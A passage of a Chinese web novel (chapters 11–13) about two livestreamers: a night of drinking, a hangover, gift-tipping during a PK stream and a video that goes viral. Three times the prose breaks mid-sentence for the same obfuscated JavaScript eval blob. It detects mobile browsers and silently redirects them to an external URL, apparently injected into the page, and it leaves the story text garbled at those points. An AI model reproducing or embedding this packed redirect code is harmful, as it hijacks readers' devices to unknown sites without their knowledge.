不怎么样的心情被这样一折腾，更加不美丽了，宁檬的心情其实倒没有太大起伏，为了这种人糟蹋了自己的心情多少有些不值当。 何况她本来最近一段时间情绪都谈不上高兴，只是在大多数时候，她依旧能保持正常状态，并对身边人去调侃。 “帅哥，真的不唱一首？” 让人厌恶的氛围降下来后，宁檬竟还有闲心主动开玩笑打趣酸醋余，手腕顶着下巴的位置五指垂下正好能够轻搭在酒杯边缘，一双眼睛似笑非笑地盯着对面的人看。 这么大半天的相处之后，酸醋余算是发现了，每次在聊天的时候，她都会盯着对方的眼睛看，除非是忙着其他事情，才会没空顾得上眼神视线的交流，一般情况下都会像现下一样，很轻松没有压迫的对视看过来。 每次对视聊天时，酸醋余都会想起很早之前读过的书上面提到的，聊天时看对方的眼睛是最基本的礼貌。 慢慢长大后，人与人之间关系的复杂程度以及很多其他的原因掺杂，其实已经很少遇到会看向眼睛的交流了。 酸醋余单手摩擦着酒杯，胸口的跳动就如磨砂的杯壁一般不稳定的频率，视线的交流最终以他率先转移方向败下阵来。 “想点歌啊？是现结还是预支？” 微微抬起的眼皮，在昏暗的酒馆灯光闪烁下，让人看不清他的眼神，只能听到明显带上笑意的问话声。 听起来再随意不过的一个选择性反问，直接把刚刚的插曲跳过，开启他们自己的相处氛围。 这家伙又开始了，总有各种想不到的理由借口圈钱，虽然没有直白地伸手要，但也基本没差了。 宁檬抿着双唇，嘴角微微蠕动，难得耐心地顺着他的话接下去，“现结是怎么样，有明码标价吗？预支又是怎么个预支法呢？” 在酸醋余的眼神中，她看到了惊讶和错愕，虽然很少，但也很快速地被宁檬捕捉到了。 酸醋余端起酒杯缓缓和宁檬的酒杯碰一下，清脆的碰撞声悠悠响起，在整个音乐包围的酒馆里是明显得遮不住的脆鸣。 从来到酒馆到现在，他们一起碰杯喝下的第一口，被凉意包裹的酒水滑入喉间，给整个人懒散的精神都进行一番洗涤，前面的好与不好都随之消失，再对视皆是一身轻地享受开始。 接连两声酒杯与桌面轻碰的声音落地，酸醋余把手机反盖在一侧，在关上手机之前专门调成了静音模式，“明码标价你还会点吗？” 他的表情一脸了然的神色，损友之间的熟悉程度不用言语便能猜到会给出的反应和答案。 对此宁檬没有进行反驳，眼睛的视线开始忽闪飘移，视线所到哪里都是，除了酸醋余的双眼。 酸醋余笑着继续说，“预支的话，下次开播来直播间给我占一次榜，今晚你想点什么就点什么。” “你再说一遍？！” 完全没有任何思考，宁檬直接反问，平静的表情转瞬变成震惊，同时夹杂着些微的火气。 连麦PK主播的直播间占榜，那可都是人民币用户的爱好，像她这种牛马级别的平台用户，每天最多给这几个损友刷个粉丝灯牌，偶尔赶上打人气榜的时候，抠抠搜搜甩上点人气票，占榜什么的和她都是不挨边的好吧。 宁檬坐在沙发上，换个动作单手撑着脑袋，脸上没有任何表情，眼神极其不友好的直勾勾地盯着酸醋余，几秒之后再次移开视线，说话时的声音很淡很轻。 “我今晚不想听歌，只想喝酒。” 嘴角上扬得尤为高，笑脸也很是假。 酸醋余满不在乎地耸耸肩，本来也没想过能从宁檬的兜里掏出钱来，这样的回答一点也不意外。 最开始的喝酒就真的只是喝酒，聊天的话题多半是酸醋余在找，画面大概就是酸醋余抛出话题，然后宁檬会看着他回答，大多数时间更多的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16416544|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是倾听，偶尔说上自己的一些事。 关系可能就是在这种时候不经意间被拉近的，酸醋余独自坐在沙发上，帮着两个人把空酒杯都接满酒，独自坐在那里发呆无意识的短暂复盘里发现了些很不一样的点。 在二次元皮套之后的宁檬，和眼前的这个女生差得挺多的，离开了互联网世界，跟随她的脚步来到三次元的真实世界后，仿佛重新认识一个新的宁檬。 今晚坐在酒馆里的宁檬的笑从始至终都带着朦胧的色彩，眼神的底色也罩着一层淡淡的忧伤，逐渐消失的疏离感在这层底色之下反而将人与人之间的距离变得更远。 “谢谢帮我倒酒啦”，宁檬单手搭在桌子靠外侧的一边，顺着动作重新坐到沙发上，双眼有短暂地闭上，再睁开前嘴角有一抹笑稍纵即逝，疏远感也少了很多。 酸醋余丢开手中的瓜子皮，随意地摆摆手，抛出平地一声雷，“你还好吗，不会醉了吧？” “嗯……可能吧”，宁檬视线对过来，明显变得恍惚朦胧的眼神是卸下防备后的松懈和疲惫，“很久没喝过酒了，我也不知道自己的酒量还剩多少。” 这时候嘴角的笑不像是轻松，更多的像自嘲，是带着忧伤底色的笑。 如果说之前认识的宁檬身上有种天不怕地不怕的莽劲，那现在的她就是周身温柔露怯的小女生，收敛了盔甲，沉溺在酒精的包围里，不知不觉间露出不为人知的另一面。 “那你上一次喝酒是什么时候，今天怎么突然又想喝酒了？” 酸醋余顺手推了推手边的兰花豆小零食碟，漫不经心一问。 听到这个问题，宁檬微微歪头想得有几秒钟时间，答案依旧是和今日的她一样的出乎人意料。 “大概是上学大二那一年，距离现在的话，应该是五年前吧。” 送到嘴边的酒杯动作骤然停住，酸醋余被这个答案惊到，没忍住笑了起来，“那你今天还敢叫我一起喝酒，不怕自己喝醉啊？真不知道该说你什么了，就这么放心我呢？” “嗯？没有啊，我给我朋友发过消息了，让她不要那么早睡觉，如果喝醉了可以打电话让她来接我”，宁檬端着酒杯，朝对面隔空碰了下杯，礼貌的嘴角高高上扬。 微笑的转移从酸醋余的嘴角到宁檬的嘴角，面色呆愣地给自己灌了一大口酒，轻啧一声后笑了，“女孩子在外确实是应该这样，尤其是在酒吧这种人多混乱的地方。” 宁檬赞许地点点头，接过酸醋余的空酒杯，帮助重新添满上。 “你别多想，我只是不喜欢麻烦别人”，头发随着歪动的幅度，随意地飘散在脸的两侧，和白天里始终保持着淡淡疏离的人完全不一样的感觉。 她的话就像她的人一般，在与人之间的关系处理中，仿若一直隔着一层，很难走近。 “那你听过一句话吗，朋友的另一个名字叫‘请麻烦我’”，酸醋余接过酒杯，五指搭在侧壁，感受到阵阵凉意传过掌心，双眼垂下视线落在还未平静的液体上层表面，“当然每个人对朋友的定义不同，标准也有不同吧。” 宁檬吃东西的动作开始变缓，眼神也发生了变化，眉眼间的神情添上几分柔情，轻轻开口化解空气中略微的尴尬因子。 11. 宿醉 在酒精的促进下，酸醋余其实已经和宁檬聊了很多他们各自之间的事，本来在平时的直播里就会或多或少提到过，再加上现在这种更加单独的相处时间，氛围到了，情绪上头了，难免会聊到更多。 这些所知道的琐碎联系在一起，他们各自的成长童年已经有了简单的轮廓雏形。 也可能是和宁檬今天晚上本来就不太高涨的情绪有关，她讲了挺多自己的事，那种一般应该不会在不熟悉的人面前说起的事。 认识这么久，酸醋余从最开始其实就挺喜欢和宁檬聊天连麦的，虽然是二次元皮套背后，但她给人的感觉就是很舒服，不会让人难受的那种。 这种感受应该不仅仅是因为她本人情商高的方面。 酸醋余看着宁檬的眼睛，那里面朦胧醉色愈加明显，藏笑的眼神也不再遮掩。 “我教你一句，朋友还有另一个名字——不自私”，宁檬推着酒杯挨着桌面滑过去，和酸醋余的酒杯碰个正着，相撞的脆鸣声与她的笑声重叠在一起，“所以我想你也早点回去休息，我们都能回去早早休息。” “可你朋友……” “她是个夜猫子，周末在家本来也没什么事，白天已经躺了一天了，和你可不一样，余大主播~” 下意识反问的内容被没有预料的预判拦截，宁檬瞥一眼手机时间，说着本来就存在的事实。 都说酒不醉人人自醉，这个俗语在宁檬身上表现得还挺写实的。 酸醋余端坐对面，看着面前的女生时不时地捏揉自己的手指，声音不大听到她说，手指有点麻麻的。 说话有逻辑，脑子也很清醒，但是眼神早已被酒精攻陷，在理智里任由自己被麻痹。 陪宁檬等朋友来的那段时间里，她安静得出奇，脸上那些灵动的小表情和眼神都没有再出现，只是一味地盯着不知道哪里的方向出神，一言不发。 可能是在陷入某种思想的斗争里，又或者是沉浸在某段不为别人所知的不太好的回忆里，他没有资格，也没有权利去打扰。 她的举动和今晚的聊天内容，实在让人没办法往好的地方想，说是朋友间的见面喝酒聊天，倒不如说是心情压抑到某种峰值后，急切需要一个发泄途径，而酸醋余恰好出现在这个节点。 酸醋余拿着两人的手机，保持着两人都很舒适的距离，丝毫不掩饰自己的目光方向，直勾勾盯着宁檬看，心里想着自己的事。 两个人各藏心事，在酒精的包裹里，既清醒又恍惚地复盘着那些好的与不好的事。 酸醋余和宁檬分开，回到住的酒店的时候，另外两人已经带了其他朋友一起回来，烧烤和啤酒摆了满桌，麻将屋里也是叫嚷不止。 对于他们的麻将局热情邀请，酸醋余淡淡摇头，拿了衣服转身进浴室洗澡。 温热的水自淋浴头洒下，拍打在闭紧双眼的脸上，水珠晶莹，顺着喉结缓缓滑下，沿着肌肤落在地面。 耳旁除了水落声音，还有吵闹声音，而闭上双眼之后，酸醋余听到更多的只有轻轻抽噎啜泣的声音，很柔很轻，听不出它的来源，也猜不出是谁。 这股莫名其妙的烦躁心情来得没有任何征兆，酸醋余的情绪也无名地被带上郁闷，不稳定因子持续发酵。 【酸醋余】：我到酒店了。 【酸醋余】：［定位］ 手机另一端的消息回复得及时，完全是秒回的程度，酸醋余看着手机消息不自觉地勾了唇角。 【柠檬】：［语音］ “到了就行，那我终于可以睡觉了，拜拜，晚安……” 软软糯糯的声音，一点都不像白日里见到的活力满满，浑身朝气的样子，听到最后愣是听了两遍才听清楚后面的无效晚安。 酸醋余还想再发些什么过去，编辑打字的动作刚进行到一半，忽然停住，轻笑一声之后一一删除，退出了微信聊天页面。 和很多工作后的人不同，非工作日时间里宁檬的手机既不是响铃模式，也不是静音模式，她的是动静不那么明显，但也能及时注意到现在提示的震动模式。 想到这里，酸醋余按捺住了发消息的想法，估摸着睡意朦胧的状态里，这会儿应该是最讨厌被任何其他会影响到睡觉的动静出现。 被难过压抑的情绪和酒精两种作用的支配下，宁檬把选择的权利给了身体，任由它进入睡眠，陷入无止境的梦境，循环往复，好坏皆有。 第二天醒来时，是被梦里不记得具体内容，但能肯定的不是个什么好梦吓醒的，猛然坐起身的瞬间，血液循环和大脑的发号指令都还没有完全地达到一致，让她重新侧倒在床上。 宁檬一手撑在床上，一手敷在脑门上，感觉房间里整个世界都在慢吞吞的打转，而她也跟着有些坐不稳。 “果然，酒不是个好东西，才喝了这么点就有点遭不住了。” 宁檬单手直直地朝脑门锤拍几下，试图让自己能够快速清醒。 这种纯物理的徒劳方式，除了让自己感受到来自非梦境的疼痛外，并没有什么有效的作用。 闭着眼睛靠在床头短暂休息片刻，右手的肢体动作熟练地在枕头附近来回摸索，没一会儿工夫手机便出现在脸前位置。 和往常一样没什么消息，各类软件的推送内容倒是多得各有各的特色。 挨个划掉删除这些推送，微信的消息提醒最后才慢慢出现在手机屏幕消息栏，一条垃圾邮件通知，一条团购优惠券群聊通知，还有一条被折叠了的消息。 宁檬顺着快捷栏直接点进微信界面，稍稍往下划拉一点，目光正好从消息记录今天时间的工作群聊上划过，没好气的嘟囔一声，“谁好人星期日去加班啊，这恶俗的内卷加班文化就是被这种人带坏的。” 工作群的群聊里，是那个宁檬最讨厌的隔壁组主管，即使是周末也会在群里找点存在感，分享一些工作内容相关的公众号文章，而实际上，像宁檬这种并不是负责主要设计部分的员工，对文章里讲到的各种专有名词其实都一知半解。 在去年很长的一段时间里，宁檬作为被借调的人员一直跟着他们组做项目，那段时间她只能说是最不想回忆的一段，情绪是不稳定的，未来是没有盼头的，职场是超级黑暗的。 强迫症消除红点的消息提示之后，不带任何犹豫和停留的退出群聊页面，在周末这种美好的时间点进来这个群聊，都是在浪费宝贵时间。 周末的时间做什么都好，但是聊工作内容是万万不可的。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16427358|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不管别人怎么想的，反正宁檬是把工作和休息时间分得铁清，有时候她甚至会觉得工作里的人，非工作时间就不要见了，容易想起工作里那些不怎么样的回忆进脑子。 短暂的烦躁过后，心情还是会被周末给抚平，懒散地倒躺在床上，单手点在手机的语音录制位置，还不错的心情通过语音传到上海的另一个位置。 “睡醒了，让你失望了，不仅活着，还活得好好的呢。” 宁檬另一只手搭在肚子上，感觉着肠胃里不算友好的不舒服，这个时间点按道理该去吃点东西的，特别是她昨天又喝了这么多酒的情况下。 最终懒惰战胜理智，选择继续躺下，顺手够到床头柜的矿泉水，蓬头垢面地仰头给自己灌下去小半瓶。 宿醉后的早晨就是各种口渴，喉咙不舒服，经过水滋润后的说话声也没有完全的恢复清亮嗓音。 看到宁檬回复的消息时，酸醋余刚到机场弄好值机和行李的那些，慢慢悠悠去找登机口的路上，耳机里响起宁檬明显有些异样的说话嗓音。 酸醋余的眉眼微垂，正好躲过身旁人的打量，压不住的嘴角转瞬即逝消失在唇边。 这活跃回怼的语气，果真是和昨天天差地别，根本不像是出自同一个人口中。 “傻乐什么呢？” 怪鸦拎着包站起身，准备去朝自己的登机口去，目光扫过来就看到他这幅表情，直接疑惑发问。 面对怪鸦的问题，酸醋余态度敷衍，说话牛头不对马嘴的，手上打字的动作倒是没有一时半会的停歇。 【酸醋余】：你这宝娟嗓挺个性哈，宿醉一晚看起来收获挺多嘛。 【酸醋余】：柠——檬—— 酸醋余故意捏着喉咙，学着她装出一副沙哑的嗓音，拖长了尾音叫宁檬的ID名字。 宁檬独自在家，经过心理挣扎之后极其不容易地烧了些热水喝，手机在桌子一边丢着正播放酸醋余回复的语音消息。 “啧” 这欠嗖嗖的感觉似曾相识，早在新冠疫情的时候，当时的亲姐妹损友也是这么故意掐出这种嗓音来学她说话的。 果然，能玩到一起的人又能是什么正常的人呢，精神状态多少都得沾点坏水不正经。 【柠檬】：死一边去，我继续睡了。 消息里写着要睡回笼觉，然而转身就坐到电脑面前开始倒腾个不停，隔空的嘴头上的说假话早已熟练得不能再熟练。 周日的时间也结束得异常迅速，简单收拾下房间，修一修周六拍的照片，出门买点水果和蔬菜沙拉，时间已经到了傍晚。 【酸醋余】：你不会还在睡着的吧？才半天不见，你就进化成懒猪咪了？ 手中叉子刚拌好沙拉，屏幕上消息提醒亮屏正好是酸醋余的消息弹出。 紧接着还有另一条，来自于老家的高中同学。 【高中·周霖】：你下周回来的车票买到了吗？/狗头/ 【高中·周霖】：下周五早上我们在家可是会等着你们的哦~/鲜花/鲜花/鲜花/ 宁檬抬手捏捏眉尾，一想到下个周回家来回奔波的劳乏，以及包在红包里送出去的份子钱，忍不住叹了口气，缓缓落下打字回复消息的动作。 12. 端水 【柠檬】：［图片］ 直接把车票的信息甩到了聊天页面里，简单明了，和宁檬一样的还有群聊里的另一个老同学。 “又是花钱的地方呐”，宁檬给自己发了个牢骚，接着开始回复酸醋余的消息。 【柠檬】：你没事不好好做你的直播，骚扰我干什么？？？！ 还没到周一的时间，但是宁檬已经在开始想方设法地进行自我欺骗，寻找最具有刺激功效的理由哄骗自己新一周的工作。 在周末的所剩不多的最后周日时间里，宁檬真的不想把这些宝贵的时间浪费在聊天里，而且还是些没什么营养价值的损友互怼。 回复消息刚发出去，下一秒直播平台的开播提醒正好弹出。 20:00，一分不多正正好整点开播时间，不愧是互联网守时王者，每次开播的时间都如此准时。 宁檬看着桌角摆着的雪碧，咬咬牙继续专注吃手边的蔬菜沙拉，在心里默念三遍，一切都是为了减肥…… 左右是闲得无聊，最近追更的剧也有烂尾倾向，让人丧失继续追更的念头，在视频软件和直播平台中，纠结只花费了几秒钟时间，动作利索干脆点进观看直播的软件。 “不是，兄弟，我才刚开播，你们拉我进来，送上门挨打吗？” 刚一打开软件，推送的不是其他短视频，宁檬没有划走，在直播间门口正好看到这一段。 四人连麦直播间里，酸醋余头上还戴着给自己直播间粉丝跳开场舞时的发饰，与他那张帅脸简直就是完全不匹配，暴殄天物说的就是他这种。 “老余，能帮我的只有你了，求求了，你忍心看着我被他们欺负吗，嘤嘤嘤……” 一个大男人发出这种做嗲的声音，酸醋余当即皱眉，做出尤为夸张的嫌弃表情，“忍心啊，兄弟，你们记得打狠点，我明天等着看二创。” 不仅不施以援手，竟然还倒打一耙，给对面的另外两个主播刻意叮嘱。 张毛毛双手已经合十握起，停留在胸口位置，一时间恭维的话和回怼的话交叉在一起，沟通系统陷入一团乱麻，到最后只有被气笑的反应。 只自己看多没意思，宁檬顺手直接点进直播间，想要看弹幕里粉丝的各种发言。 “哎哎哎，二毛，我又决定帮你打了，而且包赢”，酸醋余嘴角挂起了弧度，随手把头上的发饰摘下来，现场演示了一出什么叫临时反悔。 没人知道他突然反悔的原因，但都看得了他嘴脸一股子坏笑味的笑容。 宁檬用叉子扎中一个小番茄，唇齿咬着叉子，没来由地有一股不是太好的预感。 小番茄的汁液在口中四处迸溅，酸酸甜甜的味道在口腔里蔓延，果然周末吃的那些高能量“卡路里”味道比这好上好多倍。 “减肥，减肥，减肥，我爱减肥，我爱圣女果，我最爱吃……” 为了督促自己减肥，在减肥大业上早日取得成绩，宁檬默念好几遍给自己洗脑，试图得到自我pua后的动力。 自我催眠的结果就是，洗脑效果还没开始见成效，但是直播间里却已经有突发惊喜事件发生。 刚咬到嘴边的圣女果硬是卡在门牙的位置不上不下，宁檬双眼尽是不敢相信，盯着屏幕里酸醋余的那张帅脸冷哼着无语。 这人真是绝不会放过任何一个坑好友的机会。 [柠檬]：谢谢点名，没钱微死。。。 在PK中的直播间里，宁檬为了自己的消息更显眼，甚至专门花了钱飘屏弹幕，能够让直播间里的每个人都看到的钞能力。 连续的三个无语句号，就是刻意用来回复酸醋余的那句“柠檬，今天的占榜PK我可是等着你的助力呢，要不然才不会接下这场PK。” 谁好人点过歌，谁又欠下的占榜，反正她宁檬是没有许诺过这种事情。 宁檬单手停顿在手机的音量键上，真的很想长按减小的按键，抠门和颜狗的属性在反复之间频繁横跳，最后还是以眼睛略胜一筹，决定继续留在直播间里享受视觉的盛宴，以便宽慰明天周一就要上班的苦闷心情。 毕竟在颜值这一块，作为网红主播，又在妆容和直播间的美容滤镜加持下，这方面还是都很有水准看头的。 “还有最后十秒钟，我们守一手，不要被偷了，加油加油啊。” 酸醋余不愧是PK博主，在连麦PK还有最后十几秒的时候，他们那一套话术流利地从口中出来，每次宁檬刷到直播cut或者是现场直播的时候，她都会忍不住感慨一下，不愧是PK主播，这张嘴对这套词熟练得像是十几年前就开始练一样。 宁檬看了看盘子里剩余不多的圣女果，看来看去最终决定先吃小的，把大的红的留到最后，抬头瞬间正好在手机屏幕上瞄到一个角度。 就是那种，白天阳光下很无意间的一个刹那，仿佛头发丝都在发光，只是一个侧脸的镜头就足够让人心动留恋。 宁檬回味着口中的酸甜味，头朝一侧歪着，嘴角始终上扬，眼神里的欣赏完全遮掩不住，赶在PK结束的最后几秒时间里，冲动终于超过理智的束缚，接下来就得到一发不可收拾的“后悔”局面。 人倒霉起来就是喝口凉水都会塞牙，而在宁檬这里则是，一个99元的人民币直播间礼物，在这种头部主播的高分PK直播间里完全不值得一提，对于PK结果的胜负不可能起到什么决定性的作用，可真实的结果是，始终不上不下的PK比分胜负竟然让这个小礼物有朝一日成为最经典的决胜局。 在酸醋余的一己之力下，每个人都把最后的积分发在了刚拉的群里，为了结果能够更为可观地让第五位当事人直面看到，酸醋余专门把宁檬拉到了群聊里。 两方的积分积累加在一起，好巧不巧地真的就是只差了差不多一个99元礼物的程度。 这么突然的被架在熟人之间，宁檬连吃圣女果的心情都没了，咬牙看着直播间里对唱红白脸的几个人面无表情，最后展开她的端水大行动。 [宁檬在可乐的直播间送出一束玫瑰] [宁檬在十九不姓时的直播间送出一辆跑车] [宁檬在张毛毛的直播间送出一辆跑车] 在不同人的直播间，宁檬全程没有表情地只是一味充值和送礼物，甚至还不忘记根据男女不同送出不同的礼物类型，唯一不变的就是都是99元的礼物。 关掉手机退出直播间之前，宁檬抿紧着双唇退回到酸醋余的直播间，打字速度飞快，继续花巨资发送飘屏弹幕。 [柠檬]：亲爱的鱼~今天晚上睡觉记得睁着眼睛哟/托腮/ 直播间里，挂着专属于酸醋余的“小鱼”昵称的灯牌粉丝，清一色的看热闹不嫌事大，纷纷跟着宁檬的发言复制加一进行跟队形的火上浇油。 “干什么干什么啊，你们别学她，学点好的”，酸醋余看着这招架不住的弹幕形式，脸上嬉皮笑脸地尝试进行教育洗脑。 然而事实是还没有聊几句话，直播间里又开始另一波的“节奏”，一大堆的99元礼物接连不断出现在礼物栏，跑车礼物大队更是嘲讽意味拉满，莫名其妙的仪式感冲出屏幕。 宁檬本来还有点郁闷的心情被这些粉丝逗笑，和她们一起在直播间里打趣酸醋余。 [柠檬]：不要试图惹怒一个牛马，因为她真的会一怒之下怒一下的！/笑脸/ 作为准周一打工人，宁檬挂着直播间当背景音，摸出刚充好电的平板开始完成和朋友之间的画画约定，时不时会被直播间里的对话逗笑。 当身份切换到底层打工人之后，时间的流逝简直可以用飞快来形容，原因无 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16432906|184700||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他，主要是因为公司的项目进入到忙碌阶段，最忙的时候周末都没有完整的双休。 这段时间以来，作为主播柠檬的直播时间不仅短，而且开播时间很晚，每天被熟悉的几个列表主播连麦聊一会儿，进行几场碾压式的PK便到了该睡觉的凌晨。 这种日复一日的重复生活一直持续到同时并行的项目其中一个正式交付出去，等待反馈，宁檬双手支着脑袋，闭上眼睛短暂休息。 刚从会议室出来有几分钟时间，难得轻松下来，结束了各自的项目汇报之后，大家都纷纷进入到懒洋洋的散漫状态里，靠着工位上的椅子看手机，有些胆大肆意，宁檬收回悄悄打量其他同事的目光，蹑手蹑脚换了姿势“偷看”手机。 宁檬刚打开手机，屏幕上方的快捷消息栏里不停弹出消息，不是以往的社交软件好友消息，反而是平时最没有动静的直播短视频平台的消息提醒，没有来得及看具体内容就已经被下一条消息顶下去。 这种热闹的局面原因还没搞清楚，紧接着又开始有群聊的消息顶上来，也是这种一条接一条的速度频率。 带着半知半解的态度点进群聊，心里的猜测得到印证，宁檬带着疲惫的笑了笑，瞄一眼电脑右下角的时间，距离下班还有半小时时间，索性直接摆烂开始在群聊里爬楼并加入他们的聊天。 【帅就一个字】：果然有神秘感就是自带流量话题。 【怪鸦】：我们专门定时的同一时间发布，更是把这波流量推到高峰，粉丝都一个接一个过来看。 【酸醋余】：我就说这样好吧，你们当初还不信，现在真香了吧/掐腰仰头/ 【怪鸦】：就是可惜吧，这都发布这么久了，柠檬还没同意共创，她也没回你们消息吗？ …… 最开始的话题内容是在说关于视频的各种，慢慢到后面就变成了对柠檬的讨伐，三个人纷纷展开对宁檬“冷暴力”的指责和调侃。 【酸醋余】：今天周五，等一会儿她下班肯定就该出现了，或者是如果摸鱼应该也快来了。 【酸醋余】：只不过她最近加班成那个样子，应该是不到晚上不会出现了吧。 对于宁檬这段时间的加班，他们每天的业余任务就是帮着宁檬发泄那些工作上带来的牛马怨气，在这个过程里还会引起不少直播间粉丝的共情。 宁檬坐在工位上安静地从头看到尾，勾着嘴角开始打字加入这场聊天。 【柠檬】：二毛，这个备注未免也太自恋了吧！/嫌弃/ 【柠檬】：还有，我终于可以结束这黑暗的加班时间了！！！ 宁檬突然的空降群聊，让另外三人一阵热闹的讨论，作为被讨论的中心人物却是一脸淡定地切到了其他软件，置他们三人于不闻。 在工作时间里一向淡定，宁檬看着自己的个人主页先是皱眉，再是疑惑，最后是不敢置信的笑了。 【柠檬】：不是，你们难道让平台给开后门了？这么大流量？？？？ 完全没有和他们对话接上的消息，但是话题也跟着直接跳转到这个内容上。 【酸醋余】：谁没事花这钱，闲的胃疼吗。 【怪鸦】：是吧是吧，流量热度真的超级高，那个关键词话题直接被顶上热搜榜了。 【帅就一个字】：天哪，这氛围感帅哥赛道也是被我闯进来了！ 【怪鸦】：话说，你怎么还没有同意共创申请呢，这泼天的流量不要白不要啊。 【酸醋余】：对啊，你快点先去同意了，再回来聊天！ 每个人都在催着宁檬，替她着急，恨不得自己能够穿到手机另一端直接替柠檬做完这一切。 其实宁檬也挺好奇的，视频是出自她镜头下的，不知道后期到底处理加工成什么样子，竟然能够有这种流量热度。 13. 流量 什么叫氛围感视频，宁檬看完酸醋余三个人的视频作品之后，深刻明白氛围感三个字的威力，以及模特万岁的这种概念。 三个视频刚刚发布不到一个小时，点赞都已经突破以w为单位的数量，即使是粉丝体量最小的张帅帅视频作品点赞数量也不输其他两人。 好事逢双可能就是今天这个样子，宁檬打开消息通知的界面里不止有数不清的私信消息，还有共创邀请的申请，上方的红点数提醒竟是数字“3”。 所有的共创消息挨个同意之后，宁檬嘴角的笑再也压不住了，在每个视频的评论区实时看了些最新的粉丝消息，可能是神秘色彩的加持，因为宁檬的出镜，更多人看到这个视频竟大多关注点都在她的身上。 更有些和主播相爱相杀的粉丝在评论区里进行踩一捧一的评论发言，这样一波的流量操作之下，仅仅几万粉丝的账号在这么短的时间里突飞猛涨，一个下午没到已经涨了十几万之多。 坐在出租屋里，电脑上显示着没有剪辑完的草稿视频，手机上是一直在弹出来消息的平台消息提醒——还在涨。 小小的群聊持续发展到晚上时间，已经从最开始的4个人进化到两位数字10人之多，并且群聊的消息是没有一秒停过。 【可乐】：柠檬呢，怎么还不开播，今天一定很多人来她，我要去抱大腿！ 【帅就一个字】：你靠后，要抱大腿那也是我先，先来后到懂不懂。 【怪鸦】：我我我，当然是我先来，我们两个的视频目前可是点赞最高的。 【十九不姓时】：你们真的没有库存了吗，也太有气质了！！下次去上海我也要去约饭/星星眼/ …… 宁檬收拾完外卖的包装盒，与电脑屏幕面对面盯着看好几分钟，在开播和不开播之间纠结犹豫很久。 有流量就会有话题，而有话题就会有节奏，紧接着黑子和键盘侠就会蜂拥而至。 “嗡——嗡——嗡——” “有事？” 电话是酸醋余打来的，宁檬直接滑到接听键上，语气淡淡的发问，手下的鼠标已经落到酸醋余的直播间页面，第一眼先看到的是直播间里比平时翻倍的人数，足足有四万人之多。 宁檬看着这个在线人数，不由得震惊微微张开口。 “你今天还开播不开播？” “你想干嘛？” 宁檬看着直播间里小动作不停变换的男人，等着他的回答，在其他几人直播间里也转过一遍，电话内容都能猜出来个一二三。 酸醋余抬手整理下耳麦，眉眼一起上扬弯起，“关心一下我的好同事嘛，所以——你到底什么时候开播？” “看时间了”，宁檬抬眼看看剪辑视频的界面，带着坏笑抿嘴，丢出这么一张模棱两可的答案。 “你不是不用加班了，难道还不开播吗？再说了，今天不是本来也是你应该直播的时间吗，你真的忍心抛弃我这里直播间等待你的粉丝家人吗？” 一连好几个问题直接甩过来，听得出来他挺希望她开播的，并且还很迫切。 宁檬勾着嘴角，右侧的酒窝浮现在脸颊上，小眼珠提溜转一圈，慢慢悠悠开口，“怎么会抛弃呢，那可是我的衣食父母，我这不是在给她们准备惊喜呢吗。” 这句话一出口，直播间里的人数慢慢地又上涨不少，弹幕里的兴奋已经再也压不住，话题飞快地跳转过来。 [猫咪落泪]：惊喜？！是什么，能不能现在就发出来，等不及了！！！ [想想仔（搬家版）]：想钻进柠檬的电脑里看惊喜，太期待了！ [喜欢用九键]：这意思是不是今晚还会开播的意思，我今晚不玩游戏了，就守着这里等开播! [小风扇转呀转]：难道只有我关注到没有声卡的宁檬声音好好听，那种清冷御姐范谁懂啊，我的最爱！ [Cx330都是墙头]：我宣布我的爱播从今天开始又多一个，柠檬我要拥护你做最高墙头！ …… 酸醋余咧着嘴继续笑，虽然直播间话题不在他身上，但这种氛围整体是难得的友好。 “什么惊喜提前透露点呗”，酸醋余微微皱眉想，有猜测但不能确定。 视频草稿正好播放到最后面还没来得及处理的转场镜头，暂停键随着酸醋余的声音被按下，与此同时电脑屏幕上他的转头侧脸也恰好被定格在这一瞬间。 宁檬坏心眼地瞄一眼直播间的现状，在揭秘前先笑了一声，直接传到直播间里，“惊喜嘛，当然是给直播间的小鱼家人们准备的，你就哪凉快哪待着去吧。” 和酸醋余划清界限的话语，逗得直播间里的粉丝纷纷赞同，并对着酸醋余调侃挖苦，同时也会更加期待柠檬口中惊喜的到来。 剪辑的视频本来就是只剩下收尾的工作，对着电脑差不多半小时处理，成品视频就被导出来，再看一遍，还是忍不住对着自己的成果赞美，点头肯定。 宁檬洗点草莓出来，还是下班路上看到的小区附近路口的敞篷车上卖的，顺道买点正好适逢周五安慰犒劳一下工作一周后疲惫的身心和精神。 